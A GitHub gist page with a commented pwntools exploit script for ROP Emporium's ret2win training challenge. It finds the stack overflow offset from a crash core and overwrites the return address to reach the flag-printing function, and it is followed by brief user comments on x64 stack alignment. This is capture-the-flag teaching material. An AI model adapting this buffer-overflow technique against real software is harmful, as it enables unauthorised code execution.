Created
September 1, 2017 20:35
-
-
Save zachriggle/e4d591db7ceaafbe8ea32b461e239320 to your computer and use it in GitHub Desktop.
Example Exploit for ROP Emporium's ret2win Challenge Raw
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# Set up pwntools to work with this binary | |
elf = context.binary = ELF('ret2win') | |
# Enable verbose logging so we can see exactly what is being sent. | |
context.log_level = 'debug' | |
# Print out the target address | |
info("%#x target", elf.symbols.ret2win) | |
# Figure out how big of an overflow we need by crashing the | |
# process once. | |
io = process(elf.path) | |
# We will send a 'cyclic' pattern which overwrites the return | |
# address on the stack. The value 128 is longer than the buffer. | |
io.sendline(cyclic(128)) | |
# Wait for the process to crash | |
io.wait() | |
# Open up the corefile | |
core = io.corefile | |
# Print out the address of RSP at the time of crashing | |
stack = core.rsp | |
info("%#x stack", stack) | |
# Read four bytes from RSP, which will be some of our cyclic data. | |
# | |
# With this snippet of the pattern, we know the exact offset from | |
# the beginning of our controlled data to the return address. | |
pattern = core.read(stack, 4) | |
info("%r pattern", pattern) | |
# Craft a new payload which puts the "target" address at the correct offset | |
payload = fit({ | |
pattern: elf.symbols.ret2win | |
}) | |
# Send the payload to a new copy of the process | |
io = process(elf.path) | |
io.sendline(payload) | |
io.recvuntil("Here's your flag:") | |
# Get our flag! | |
flag = io.recvline() | |
success(flag) |
Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary
Namely,
This includes using movaps for 16-byte loads/stores to copy stuff around on the stack, taking advantage of the incoming alignment guarantee.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@wulfgarpro
Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary